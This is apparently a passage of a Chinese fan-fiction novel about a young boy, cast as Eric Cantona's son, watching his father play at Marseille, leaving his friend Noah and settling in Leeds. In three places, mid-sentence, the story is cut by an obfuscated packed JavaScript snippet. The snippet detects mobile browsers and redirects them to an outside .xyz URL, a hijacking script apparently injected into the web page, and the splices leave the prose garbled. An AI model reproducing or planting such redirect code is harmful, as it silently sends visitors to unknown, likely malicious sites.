十五分钟后，球员们陆续回到场上。克里斯蒂亚诺立刻站起来，双手扒在栏杆上，目光牢牢锁定父亲的身影。坎通纳抬头看向家属区，对儿子眨了眨眼睛。 “爸爸看到我了！”克里斯蒂亚诺兴奋地跺脚，“妈妈，他在对我笑！” 下半场比赛更加激烈。克里斯蒂亚诺看得入迷，每当坎通纳拿球，他就屏住呼吸；每当父亲被犯规，他就气呼呼地挥舞小拳头。 “为什么裁判不吹哨？”他指着一名拉扯坎通纳球衣的后卫，不满地嚷嚷。 “有时候裁判不会吹那么严，”艾米莉耐心解释，“足球比赛就是这样，要学会在对抗中保护自己。” 克里斯蒂亚诺皱起眉头，认真地说：“那我以后也要变强壮，不让别人推倒我。” 比赛接近尾声时，马赛队获得了一个角球。坎通纳站在禁区里，举手示意队友传球。克里斯蒂亚诺屏住呼吸，小手紧紧攥住栏杆。 角球开出，坎通纳高高跃起——头球攻门！球擦着横梁飞出底线。 “啊——！”克里斯蒂亚诺失望地叫出声，仿佛这个球没进比他自己射丢还难受。他转头看向艾米莉，满脸不甘心：“就差一点点！” 艾米莉揉了揉他的头发：“足球就是这样，不是每次射门都能进。爸爸已经做得很好了。” 终场哨响，马赛队1-0获胜。全场观众起立鼓掌，克里斯蒂亚诺站在座位上又蹦又跳，比自己踢赢了比赛还开心。 “妈妈！我们赢了！爸爸赢了！” 艾米莉笑着点头：“是的，我们待会儿可以去更衣室外面等爸爸。” “真的吗？”克里斯蒂亚诺瞪大眼睛，“我能进去吗？能摸一摸草皮吗？” “这个……得问爸爸。” 球场开始清场，艾米莉牵着克里斯蒂亚诺通过特殊通道来到球员区。周围都是球员家属，克里斯蒂亚诺好奇地打量着每个人，时不时踮起脚尖看向更衣室方向。 “妈妈，爸爸什么时候出来？” “再等等，他们要先洗澡换衣服，还要听教练讲话。” 克里斯蒂亚诺等得心焦，就在他快要失去耐心时，更衣室的门开了。球员们陆续走出来，坎通纳走在最后，头发还湿漉漉的，脸上带着疲惫却满足的笑容。 “爸爸！”克里斯蒂亚诺挣脱母亲的手，像颗小炮弹一样冲了过去。 坎通纳弯腰接住儿子，把他高高举起：“看到我的进球了吗？” “看到了！看到了！”克里斯蒂亚诺手舞足蹈地比划着，“你转身，然后砰——！球就进了！” 坎通纳被儿子的描述逗笑了，转头看向走过来的艾米莉：“这小子比解说员还激动。” “他整场比赛都在喊你的名字，”艾米莉笑着摇头，“后排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520586|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的观众都在看他。” 克里斯蒂亚诺搂着父亲的脖子，突然压低声音，神秘兮兮地说：“爸爸，我决定了。” “决定什么？” “我也要站在那个球场上踢球，”克里斯蒂亚诺指着身后的场地，眼睛亮得惊人，“像你一样，进很多很多球。” 坎通纳愣了一下，随即笑着用额头抵住儿子的额头：“那你要好好训练才行。” “我会的！”克里斯蒂亚诺郑重地点头，仿佛在许下一个重要的承诺。 离开球场时，天色已近黄昏。克里斯蒂亚诺一手牵着父亲，一手牵着母亲，走在马赛的街道上，小脑袋里还回放着比赛的画面。 “爸爸，为什么你跳起来比所有人都高？”他仰头问道，眼睛里满是崇拜。 坎通纳笑着捏了捏儿子的小手：“因为我每天练习跳跃，还要锻炼腿部力量。” “我也要练！”克里斯蒂亚诺立刻宣布，“明天就开始！” 艾米莉和坎通纳相视一笑。艾米莉弯下腰对儿子说：“现在我们先找个地方吃饭，你一定饿了吧？” 克里斯蒂亚诺这才意识到自己的肚子在咕咕叫。他点点头：“我想吃意大利面！” 三人来到一家坎通纳常去的餐厅。老板热情地迎上来，拍了拍坎通纳的肩膀：“精彩的进球，埃里克！这位小球迷是谁啊？” “我儿子，克里斯蒂亚诺，”坎通纳把儿子往前轻轻推了推，“今天是他第一次现场看比赛。” 老板蹲下身，和克里斯蒂亚诺平视：“哇，那你看到爸爸那个漂亮的进球了吗？” 克里斯蒂亚诺挺起胸膛，仿佛这是最值得骄傲的事：“看到了！爸爸转身，然后——砰！”他手舞足蹈地比划着射门动作，差点打翻桌上的水杯。 坎通纳及时扶住杯子，对老板说：“给他来份儿童份的意大利面吧，他快饿疯了。” 等待上菜时，克里斯蒂亚诺趴在桌上，下巴抵着手背，眼睛一眨不眨地盯着父亲：“爸爸，你在场上跑得好快，我都跟不上看。” “职业球员必须要有速度，”坎通纳喝了口水，“不过更重要的是知道什么时候该跑，什么时候该停。” 克里斯蒂亚诺似懂非懂地点点头，突然想到什么，坐直身子：“爸爸，我什么时候能去真正的草地上踢球？不是院子里那种。” “等你六岁，可以参加少年队的试训，”坎通纳说，“不过在那之前，你得先学会遵守训练纪律。” “我会的！”克里斯蒂亚诺急切地保证，“我保证听话，认真训练，不抱怨！” 艾米莉忍不住插话：“包括按时睡觉，不赖床？” 克里斯蒂亚诺犹豫了一下，皱着小脸：“……也包括。” 晚餐后，回家的路上，克里斯蒂亚诺已经困得东倒西歪，但还强撑着不睡。坎通纳干脆把他背起来，小家伙立刻趴在父亲宽厚的背上，迷迷糊糊地嘟囔着：“爸爸……那个角球……下次一定能进……” 艾米莉轻轻整理着儿子凌乱的卷发，对丈夫说：“他今天太兴奋了，我从来没见过他这样。” 坎通纳侧头看了看儿子熟睡的侧脸，声音不自觉地放轻：“他天生就属于球场，艾米莉。那种渴望……我在他这个年纪时都没有这么强烈。” 回到家，坎通纳小心翼翼地把克里斯蒂亚诺放到床上，帮他脱掉鞋子和外套。艾米莉拿来湿毛巾，轻轻擦掉儿子脸上的汗水和灰尘。 “嗯……爸爸……”克里斯蒂亚诺在半梦半醒间呢喃，“我要……进更多的球……” 坎通纳俯身在儿子额头上亲了一下：“你会的，小冠军。” 关上台灯，夫妻俩轻手轻脚地退出房间。楼下，坎通纳站在窗前，望着院子里那个迷你球门，月光下它的轮廓格外清晰。 “你在想什么？”艾米莉走过来，递给他一杯茶。 坎通纳接过茶杯，若有所思：“我在想，也许我们该给他找个正经的启蒙教练了。我自己教，总怕太严厉或者太溺爱。” 艾米莉微笑着靠在丈夫肩上：“你知道他会选谁的。” 坎通纳也笑了，摇摇头：“这小子……今天看他那眼神，我就知道拦不住了。” 楼上，克里斯蒂亚诺翻了个身，在睡梦中露出微笑。 6. 远行的决定 5月的马赛，初夏的阳光已经带着灼人的热度。六岁的克里斯蒂亚诺光着脚丫在院子里追着足球跑，汗水把他的卷发黏在额头上，小脸晒得通红。 “克里斯！喝点水！”艾米莉站在后门喊道，手里拿着水壶和毛巾。 克里斯蒂亚诺不情愿地停下脚步，小跑过来接过水壶，咕咚咕咚灌了大半壶，然后用手背抹了抹嘴：“妈妈，我还能再练一会儿吗？” “不行，太阳太大了，”艾米莉用毛巾擦掉儿子脸上的汗，“进屋洗个澡，你爸爸等会儿有事情要和我们说。” 克里斯蒂亚诺的眼睛立刻亮了起来：“是关于少年队试训的事吗？爸爸答应过我六岁就可以参加的！” 艾米莉的表情有些复杂：“不是这个……先去洗澡吧。” 二十分钟后，洗得干干净净的克里斯蒂亚诺坐在客厅沙发上，不安分地晃着双腿。坎通纳从书房走出来，手里拿着一叠文件，神色比平时严肃。 “爸爸！”克里斯蒂亚诺跳下沙发，“你要跟我说什么？是少年队的事吗？” 坎通纳在儿子面前蹲下，与他平视：“克里斯，爸爸有个重要的决定要告诉你。” 克里斯蒂亚诺突然安静下来，敏感地察觉到父亲语气中的郑重。他下意识抓住坎通纳的袖子：“什么决定？” “我可能要离开马赛队，”坎通纳直视儿子的眼睛，“去英格兰的利兹联踢球。” 克里斯蒂亚诺眨了眨眼，一时没反应过来：“英格兰？那是哪里？” “是另一个国家，要坐飞机才能到，”坎通纳耐心解释，“那里的足球联赛很厉害，爸爸想去新的挑战。” 克里斯蒂亚诺的小脸慢慢皱成一团：“那我们……我们也要去吗？” “当然，”坎通纳把儿子抱起来放到自己腿上，“我们全家一起搬过去。你，妈妈，还有我。” 克里斯蒂亚诺低头玩着父亲衬衫的纽扣，声音突然变小：“那我的少年队试训呢？还有诺亚……我们说好暑假一起去钓鱼的……” 艾米莉走过来坐在丈夫身边，轻轻抚摸儿子的后背：“英格兰也有很好的少年队，而且诺亚可以给我们写信，等你放假时还能回来看他。” 克里斯蒂亚诺抬起头，眼眶有点发红，但倔强地不让眼泪掉下来：“爸爸，非走不可吗？” 坎通纳把儿子搂进怀里：“这是爸爸职业生涯很重要的机会。就像你那么想进少年队一样，爸爸也需要迎接新的挑战。” 克里斯蒂亚诺把脸埋在父亲肩膀上，闷闷地说：“那我的球门怎么办？带不走……” “我们可以在新家的院子里装一个更大的，”坎通纳承诺道，“而且英格兰的球场都很漂亮，你可以看到不一样的比赛。” 克里斯蒂亚诺沉默了一会儿，突然抬起头：“那里的孩子踢球厉害吗？我能跟他们一起踢吗？” 坎通纳看着儿子眼中的担忧从离别转向了对足球的关切，忍不住笑了：“当然可以，而且你会是最棒的那个。” “那……那好吧，”克里斯蒂亚诺挺直小身板，努力做出勇敢的样子，“我去收拾我的足球和球鞋！” 他从父亲腿上跳下来，咚咚咚跑上楼，脚步声沉重得像是在发泄情绪。艾米莉担忧地看着儿子消失的方向：“他比我们想象的懂事。” 坎通纳叹了口气，握住妻子的手：“他会适应的。孩子比我们想象的坚强。” 楼上，克里斯蒂亚诺把自己的足球装备一件件摆进行李箱，动作越来越慢。最后他抱着最心爱的那个旧足球坐在床边，把小脸贴在球面上，终于忍不住抽泣起来。 第二天清晨，克里斯蒂亚诺比平时醒得都早。他抱着足球轻手轻脚地下楼，发现父亲已经在厨房煮咖啡了。 “爸爸……”他站在厨房门口，声音还带着昨晚哭过的鼻音。 坎通纳转过身，看到儿子浮肿的眼睛，立刻放下咖啡杯：“睡得好吗？” 克里斯蒂亚诺摇摇头，走到父亲身边，把脸埋在他的睡衣里：“我梦见诺亚不跟我做朋友了……” 坎通纳蹲下来抱住儿子：“不会的。真正的朋友不会因为距离而改变。” “真的吗？” “真的。爸爸小时候也有这样的朋友，现在还会联系。” 克里斯蒂亚诺稍微振作了一点，突然想起什么：“爸爸，我能去告诉诺亚吗？亲自告诉他？” 坎通纳看了看时钟：“现在才六点，诺亚一家可能还没起床。等吃完早饭，我陪你去。” 早餐桌上，克里斯蒂亚诺食不知味地戳着盘子里的煎蛋。艾米莉和坎通纳交换了一个担忧的眼神。 “克里斯，”艾米莉柔声说，“我们今天可以开始收拾你的玩具和书，你可以决定带哪些去英格兰。” 克里斯蒂亚诺抬起头：“我的相册要带，还有诺亚送的小船，还有……”他突然停住，“爸爸，英格兰的小朋友说法语吗？” “他们说英语，”坎通纳切着盘中的水果，“不过别担心，你很快就能学会。小孩子学语言最快了。” “那……那要是他们不跟我玩怎么办？”克里斯蒂亚诺的声音越来越小。 坎通纳放下刀叉，认真地看着儿子：“听着，克里斯。新环境确实会让人害怕，但记住——”他指了指克里斯蒂亚诺怀里的足球，“足球是世界通用的语言。只要你带着这个，总能找到朋友。” 这个想法似乎让克里斯蒂亚诺好受了一些。他三两口吃完剩下的早餐，迫不及待地从椅子上滑下来：“我们现在能去找诺亚了吗？” 伯纳德家的小楼笼罩在晨光中，门口晒着的渔网随风轻轻摆动。克里斯蒂亚诺挣脱父亲的手，跑到门前，却突然犹豫了，转身看向坎通纳：“爸爸，你来说好不好？” 坎通纳正要敲门，门却自己开了。诺亚揉着眼睛站在门口，怀里抱着一个装满贝壳的小桶，显然正准备去海边。 “克里斯？你这么早来干嘛？” 克里斯蒂亚诺的嘴唇颤抖着，突然扑上去抱住好友：“诺亚！我要走了！去英格兰！” 诺亚僵在原地，贝壳桶掉在地上，五彩的贝壳撒了一地。他推开克里斯蒂亚诺，不敢相信地瞪大眼睛：“你说什么？” 坎通纳走上前，把手放在儿子颤抖的肩膀上：“诺亚，我即将转会去英格兰的球队。我们全家都要搬过去。” 诺亚的嘴巴张了又合，最后憋出一句：“什么时候？” “下个月。” “下个月？”诺亚的声音陡然提高，“那我们的暑假计划呢？说好要去钓鱼的！还说要去码头踢比赛的！” 克里斯蒂亚诺的眼泪终于掉下来：“我知道……对不起……” 两个小男孩站在洒满贝壳的门廊上，第一次体会到人生中无法挽回的离别。诺亚突然转身跑进屋里，片刻后又冲出来，把一个东西塞到克里斯蒂亚诺手里——是个手工做的木头哨子。 “这是我爸爸教我做的，”诺亚倔强地眨着眼睛，不让眼泪流下来，“你吹这个，就能想起我们一起当裁判的日子。” 克里斯蒂亚诺紧紧攥住哨子，从口袋里掏出自己准备的礼物——一个马赛队的钥匙扣，上面贴着两人的合照。 “这个给你。我爸爸说……说我们可以写信。” 伯纳德夫妇闻声出来，了解了情况后，玛丽安蹲下来抱住两个男孩：“好了，小男子汉们，这不是世界末日。英格兰又不远，克里斯会回来看我们的。” “没错，”雅克拍拍坎通纳的肩膀，“渔汛好的时候，说不定我们还能去英格兰看你比赛呢！” 这个承诺让气氛轻松了些。克里斯蒂亚诺用袖子擦干眼泪，突然拉起诺亚的手：“我们去码头吧！最后比一次射门！” 坎通纳看着两个男孩奔向海边的背影，对雅克夫妇歉意地笑笑：“抱歉这么突然。” 玛丽安摇摇头：“孩子们会适应的。只是……”她犹豫了一下，“克里斯这么小就去异国他乡，会不会太辛苦？” 坎通纳望着儿子远去的身影：“他有足球陪着。只要还能踢球，到哪里都是家。” 搬家前的最后两周，坎通纳家的生活被各种琐事填满。艾米莉忙着整理行李、处理文件，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520587|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克里斯蒂亚诺则抓紧一切时间和朋友们告别。 这天下午，坎通纳提前结束训练回到家，发现客厅里堆满了纸箱，而克里斯蒂亚诺正坐在地板上，面前摊开着那本记录他足球之路的相册。 “在看什么？”坎通纳脱下外套，在儿子身边坐下。 克里斯蒂亚诺指着三岁时在海滩踢椰子的照片：“那时候诺亚还说我的射门像打鱼。” 坎通纳轻笑出声：“现在你的射门可专业多了。” 克里斯蒂亚诺翻到最新的一页——上周和少年队小伙伴们的合影：“爸爸，英格兰的小朋友会喜欢我吗？” “为什么不呢？”坎通纳揽住儿子的肩膀，“你友善、开朗，而且踢球很棒。” 克里斯蒂亚诺合上相册，突然问道：“爸爸，英格兰的球场真的比马赛的大吗？” “埃兰路球场比韦洛德罗姆小一些，”坎通纳实话实说，“但那里的球迷非常热情。你会喜欢的。” “那……那里的天气呢？” “经常下雨。” 克里斯蒂亚诺皱起鼻子：“下雨天就不能在院子里踢球了。” “但可以练习室内控球，”坎通纳站起身，从包里拿出一个用彩纸包着的盒子，“说到这个，我给你准备了个告别礼物。” 克里斯蒂亚诺急切地拆开包装——是一双崭新的儿童足球鞋，鞋底还带着闪闪发亮的鞋钉。 “英格兰的草皮更湿滑，需要这种鞋钉，”坎通纳帮儿子穿上试了试，“等我们到了那边，第一件事就是找个好场地让你试试。” 克里斯蒂亚诺小心翼翼地摸着鞋面上的纹路，突然扑进父亲怀里：“爸爸，我会想这里的。” 坎通纳抱紧儿子，下巴轻轻蹭着他的卷发：“我知道。爸爸也会。但我们会创造新的回忆，好吗？” 晚饭后，一家三口坐在院子里，看着克里斯蒂亚诺的小球门在夕阳下投下长长的影子。艾米莉拿出相机：“来，最后拍一张在这里的照片。” 克里斯蒂亚诺站在球门前，摆出射门的姿势，脸上是刻意挤出的笑容。坎通纳看出儿子的勉强，走过去蹲在他身边：“嘿，小男子汉，这不是永别。我们随时可以回来度假。” “真的吗？” “当然，”坎通纳指着球门，“这个就留在这里，等我们回来时，你可以看看自己长高了多少。” 这个主意似乎让克里斯蒂亚诺好受了些。他跑进球门，踮起脚尖摸了摸网兜：“我会想念这个球门的。” 出发前的最后一晚，克里斯蒂亚诺把自己的房间收拾得干干净净，只留下一个随身小背包，里面装着最心爱的几样东西：足球相册、诺亚送的哨子、父亲第一次给他买的足球，还有一张全家福。 坎通纳来检查时，发现儿子正趴在窗前，望着院子的方向。 “睡不着？” 克里斯蒂亚诺转过身，眼里闪着泪光，但声音很坚定：“爸爸，我会成为英格兰最棒的球员，让所有人都记住我的名字。” 坎通纳心头一热，把儿子抱到床上：“不用着急证明什么，克里斯。做你自己就好。” “但我想让你骄傲。” “你早就让我骄傲了，”坎通纳亲了亲儿子的额头，“不是因为足球，而是因为你是我儿子。” 第二天清晨，当出租车载着一家三口驶向机场时，克里斯蒂亚诺趴在车窗上，看着熟悉的街道一点点后退。经过诺亚家时，他看见好友站在门口，拼命挥手。克里斯蒂亚诺按下车窗，用力挥舞着马赛队的围巾，直到转弯后再也看不见。 艾米莉从后视镜里看着儿子红红的眼眶，轻声问：“还好吗？” 克里斯蒂亚诺点点头，从背包里掏出那个旧足球抱在怀里：“我没事。英格兰有足球，对吧？” 坎通纳从前座回过头，与儿子四目相对：“是的，儿子。英格兰有最好的足球。” 飞机腾空而起，穿过云层。克里斯蒂亚诺透过小窗，看着蔚蓝的地中海渐渐远去。他摸了摸胸前的哨子，又摸了摸背包里的足球，然后闭上眼睛，开始想象英格兰的样子。 7. 英伦初印象 6月15日，一架从马赛起飞的航班降落在利兹布拉德福德机场。克里斯蒂亚诺趴在舷窗上，瞪大眼睛看着窗外灰蒙蒙的天空和连绵的草地。 “爸爸，这就是英格兰吗？”他转头问道，鼻子在玻璃上压得扁扁的。 坎通纳解开安全带：“是的，接下来几年我们就要在这里生活了。” “可是……天为什么是灰色的？”克里斯蒂亚诺皱着小脸，“太阳去哪了？” 艾米莉帮儿子整理好歪掉的衣领：“英格兰的天气就是这样，经常阴天。不过别担心，你会习惯的。” 取完行李，一家三口走出机场。潮湿的空气立刻扑面而来，克里斯蒂亚诺打了个喷嚏，下意识抱紧了怀里的足球。俱乐部的接机人员已经等候多时，热情地帮他们把行李搬上车。 “欢迎来到利兹，坎通纳先生！”司机是个红脸膛的中年男人，说话带着浓重的约克郡口音，“我是俱乐部的司机汤姆，这段时间负责接送您。” 克里斯蒂亚诺躲在父亲身后，偷偷打量着这个说话奇怪的陌生人。坎通纳轻轻推了推他：“打招呼，克里斯。” “你好，先生……”克里斯蒂亚诺小声说，然后拽了拽父亲的衣角，“爸爸，他说的话我听不懂。” 汤姆哈哈大笑：“别担心，小伙子。很快你就能学会约克郡腔了！” 前往市区的路上，克里斯蒂亚诺趴在车窗上，好奇地观察着这个陌生的国度。灰色的砖房、红色的电话亭、与法国完全不同的街景一一闪过。突然，他看到一个公园里有一群孩子在踢球，立刻兴奋地拍打车窗：“爸爸！看！他们在踢球！” 坎通纳顺着儿子指的方向看去：“是的，这里的孩子们也很喜欢足球。” “我能和他们一起踢吗？” “等你学会一些英语单词再说，”艾米莉摸了摸儿子的头，“现在你连他们说什么都听不懂。” 俱乐部为坎通纳一家准备了一栋带小花园的联排别墅。房子不大但很温馨，客厅里已经摆好了欢迎鲜花和果篮。克里斯蒂亚诺一进门就楼上楼下跑了个遍，最后停在二楼的卧室门口——这是他的房间，窗户正对着后院的一片小草坪。 “妈妈！爸爸！快来看！”他兴奋地喊道，“这里可以放我的球门！” 坎通纳和艾米莉相视一笑。艾米莉蹲下来问儿子：“喜欢你的新房间吗？” 克里斯蒂亚诺点点头，又摇摇头：“喜欢……但是太安静了。没有海浪声，也没有诺亚的叫声。”他的声音越来越小。 坎通纳把儿子抱起来，走到窗前：“看到那片草坪了吗？明天我就去给你买个新球门。比马赛的那个更大。” 这个承诺让克里斯蒂亚诺稍微开心了些。他从父亲怀里溜下来，开始布置自己的小天地——足球放在床头，相册摆在书桌上，诺亚送的哨子挂在最显眼的挂钩上。 晚餐是俱乐部派人送来的传统英式餐点。克里斯蒂亚诺用叉子戳着盘中的豌豆，皱起鼻子：“这个豆子为什么这么硬？” “英格兰人喜欢把蔬菜煮得……嗯……比较彻底，”艾米莉试图解释，自己也不太确定，“尝尝鱼排，还不错。” 坎通纳切开面前的牛排，对儿子说：“明天开始，你要去上英语课了。俱乐部安排了一位老师。” 克里斯蒂亚诺的注意力立刻被转移：“那足球呢？你说过要送我去青训营的！” “先学会基本的交流，”坎通纳态度坚决，“否则教练说什么你都听不懂，怎么训练？” 这个理由无懈可击。克里斯蒂亚诺瘪瘪嘴，不情不愿地接受了。晚饭后，他趴在客厅地毯上，翻着一本带图画的英语入门书，时不时蹦出一两个单词。 “Dog！Cat！Football！” 艾米莉正在整理厨房，听到儿子的声音忍不住微笑。坎通纳走到她身边，低声问：“你觉得他能适应吗？” “比你想象的要快，”艾米莉擦了擦手，“孩子就像小海绵，吸收能力惊人。倒是你，准备好了吗？明天的见面会。” 坎通纳望向窗外渐暗的天色：“职业球员的生活就是这样。只是……”他看向正专注看书的儿子，“希望他不会太孤单。” 夜深了，克里斯蒂亚诺躺在陌生的床上，怀里抱着足球，耳朵竖得高高的——这里真的什么声音都没有，没有海浪，没有渔船的马达声，也没有诺亚在隔壁大喊大叫。他轻轻吹了吹挂在床头的哨子，微弱的哨音在寂静的房间里显得格外孤单。 “Football，”他对着空气小声练习新学的单词，“My name is Cristiano...” 楼下的座钟敲响了十下。英格兰的第一天，就这样结束了。 第二天清晨，克里斯蒂亚诺被一阵陌生的鸟叫声惊醒。他迷迷糊糊地爬起来，发现窗外飘着细雨，整个天空像蒙了一层灰纱。 “爸爸？”他光着脚跑出房间，发现坎通纳已经穿戴整齐，正在厨房煮咖啡。 “醒得正好，”坎通纳看了看手表，“英语老师九点到，先吃早餐。” 克里斯蒂亚诺爬上椅子，看着盘子里金黄色的煎蛋和培根，总算找到了熟悉的东西：“这个和马赛的一样！” 艾米莉把牛奶推到他面前：“今天我和爸爸都有事要忙，你要乖乖听老师的话，知道吗？” “你们要去哪儿？”克里斯蒂亚诺警觉地放下叉子。 “爸爸要去俱乐部签约，”艾米莉整理着儿子的衣领，“我要去超市买些日用品。中午就回来。” 克里斯蒂亚诺的小脸垮了下来：“我一个人在家？” “不是一个人，有老师陪你，”坎通纳蹲下来与儿子平视，“记得我们的约定吗？先学会基本英语，然后才能踢球。” 克里斯蒂亚诺不情不愿地点点头，突然想起什么：“爸爸，你能给我带一件利兹联的球衣吗？像你那样的。” 坎通纳笑着揉了揉儿子的卷发：“当然，我会带一件儿童版的回来。” 九点整，门铃准时响起。英语老师是位和蔼的中年女士，名叫布朗夫人，说话语速很慢，还带着一本厚厚的图画词典。克里斯蒂亚诺站在父亲身后，怯生生地打量着这个陌生人。 “你好，克里斯蒂亚诺，”布朗夫人蹲下身，用简单的法语问候，“今天我们学英语，好玩的事情。” 这句结结巴巴的法语让克里斯蒂亚诺放松了些。坎通纳和艾米莉离开后，布朗夫人打开图画书，指着上面的图片耐心教学：“Apple……Pomme……” 两小时的课程过得比想象中快。克里斯蒂亚诺学会了一些基础单词，还勉强能用英语自我介绍。当布朗夫人拿出一个足球形状的拼图时，他眼睛一亮：“Football! I like football!” “非常好！”布朗夫人竖起大拇指，“明天我们学更多足球用语。” 中午，艾米莉回来时，发现儿子正趴在客厅地毯上，周围散落着写满单词的卡片。 “学得怎么样？”她放下购物袋问道。 克里斯蒂亚诺跳起来，兴奋地展示新学的句子：“My name is Cristiano! I am six years old!”发音虽然生硬，但已经像模像样。 “太棒了！”艾米莉亲了亲儿子的额头，“爸爸会为你骄傲的。” 下午，坎通纳带着一件小小的利兹联球衣回来了。克里斯蒂亚诺迫不及待地套在身上，球衣下摆几乎垂到他的膝盖。 “太大了，”坎通纳笑着帮儿子卷起袖子，“等你长大些就合身了。” “爸爸，签约顺利吗？”克里斯蒂亚诺摸着胸前的队徽问道。 “很顺利，”坎通纳把儿子抱到沙发上，“下周就有第一场比赛。你想来看吗？” 克里斯蒂亚诺的眼睛立刻亮了起来：“可以吗？我能坐在家属区吗？” “当然，”坎通纳捏了捏儿子的小鼻子，“不过在那之前，你得再多学些英语。” 这个交换条件让克里斯蒂亚诺动力十足。晚饭后，他主动拿出布朗夫人留下的单词卡复习，甚至试着用英语描述今天的经历，虽然大部分时候还是夹杂着法语单词。 坎通纳和艾米莉忍着笑，耐心纠正他的发音。临睡前，克里斯蒂亚诺突然问：“爸爸，英格兰的孩子周末也踢球吗？” “当然，”坎通纳帮儿子盖好被子，“这里的足球氛围比法国还浓厚。” “那...”克里斯蒂亚诺犹豫了一下，“我能去找他们玩吗？等我学会更多英语以后。” 坎通纳坐在床边，轻轻拍着儿子：“不用着急。下周俱乐部会组织家属活动，你会认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520588|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些队友的孩子。” 克里斯蒂亚诺安心了些，抱着新球衣慢慢闭上眼睛。窗外的雨还在下，滴滴答答地敲打着窗棂，像一首陌生的催眠曲。 周六下午的埃兰路球场人声鼎沸，克里斯蒂亚诺紧紧攥着母亲的衣角，小脸被寒风吹得发红。他穿着那件过大的利兹联球衣，脖子上围着俱乐部赠送的白围巾，好奇又紧张地打量着周围的一切。 “别怕，”艾米莉把儿子往身边搂了搂，“和爸爸在马赛的比赛一样，只是这里的人喊得更大声。” 球员家属区在球场西侧，几个队友的妻子已经带着孩子落座。克里斯蒂亚诺缩在座位上，听着周围陌生的英语叫喊声，突然感觉有人戳了戳他的胳膊。 “你是埃里克的儿子？”一个金发男孩用带着浓重口音的英语问道，见他没反应，又换成蹩脚的法语，“你……法国人？” 克里斯蒂亚诺眼睛一亮，立刻切换成法语模式：“是的！我叫克里斯蒂亚诺！” 金发男孩挠挠头，指指自己：“我叫杰克，爸爸是加里。”他指了指场上正在热身的后卫，“我们……朋友？” 克里斯蒂亚诺用力点头，从兜里掏出自己的旧足球：“你看！我的足球！” 这个动作立刻吸引了周围其他孩子。很快，四五个男孩围了过来，七嘴八舌地用英语夹杂着手势交流。克里斯蒂亚诺虽然听不懂大部分话，但当杰克比出射门动作时，他立刻跳起来模仿，逗得其他孩子哈哈大笑。 比赛开始前十分钟，坎通纳跑向家属区挥手致意。克里斯蒂亚诺猛地站起来，半个身子探出栏杆大喊：“爸爸！加油！” 杰克拽了拽他的球衣下摆：“这里要喊e on Leeds！』” 克里斯蒂亚诺学舌道：“卡芒……栗子！” 周围的孩子们笑成一团，但善意地帮他纠正发音。艾米莉看着儿子渐渐放松的神情，终于松了口气。 比赛开始后，克里斯蒂亚诺立刻发现了不同——这里的对抗比法甲激烈得多。每次坎通纳拿球，对方后卫就像牛皮糖一样贴上来，客队看台上立刻爆发出震耳欲聋的嘘声和助威声。 “他们为什么凶爸爸？”克里斯蒂亚诺不安地问母亲。 “这是英格兰足球的文化，”艾米莉捂住儿子的耳朵，“球迷们很投入，但爸爸不会有事的。” 上半场快结束时，坎通纳在禁区边缘接到传球。克里斯蒂亚诺下意识站起来，小拳头攥得紧紧的。只见父亲一个假动作晃过防守队员，起脚怒射—— “Goal！！！！” 整个球场瞬间沸腾，数万人齐声高唱坎通纳的名字。克里斯蒂亚诺被这声浪震得呆住了，直到杰克推他才反应过来。 “你爸爸！进球！”杰克激动地摇晃他的肩膀。 克里斯蒂亚诺扒着栏杆，看着父亲跑到看台下方，对着家属区做出心形手势。他突然觉得鼻子发酸，转身扑进母亲怀里：“妈妈！爸爸真的做到了！” 艾米莉轻拍儿子的后背：“他一直都能做到，不是吗？” 下半场，克里斯蒂亚诺已经完全融入周围的环境。他跟着杰克学唱助威歌，虽然歌词大半听不懂，但“Leeds！Leeds！”的节奏倒是踩得精准。当对方球迷发出嘘声时，他也学着其他孩子的样子，把大拇指朝下比划。 终场哨响，利兹联2-0获胜。克里斯蒂亚诺的嗓子已经喊哑了，但依然兴奋得手舞足蹈。杰克递给他一枚队徽贴纸：“欢迎加入！” 更衣室外，坎通纳带着一身汗水走出来。克里斯蒂亚诺挣脱母亲的手冲过去，却在最后一刻刹住脚步——爸爸现在是英雄，应该保持点距离？ 坎通纳看穿儿子的心思，一把将他举过头顶：“怎么样？英格兰的足球好看吗？” “比电视上还棒！”克里斯蒂亚诺手舞足蹈地描述，“那个过人！还有你射门的时候……砰！” 回程的车上，克里斯蒂亚诺趴在父亲膝头，突然冒出一句：“爸爸，我想在这里踢球。” 坎通纳抚摸着儿子汗湿的卷发：“下周带你去青训营看看，不过……” “我会学英语！真的！”克里斯蒂亚诺急切地保证，“我今天和杰克说了好多话！” 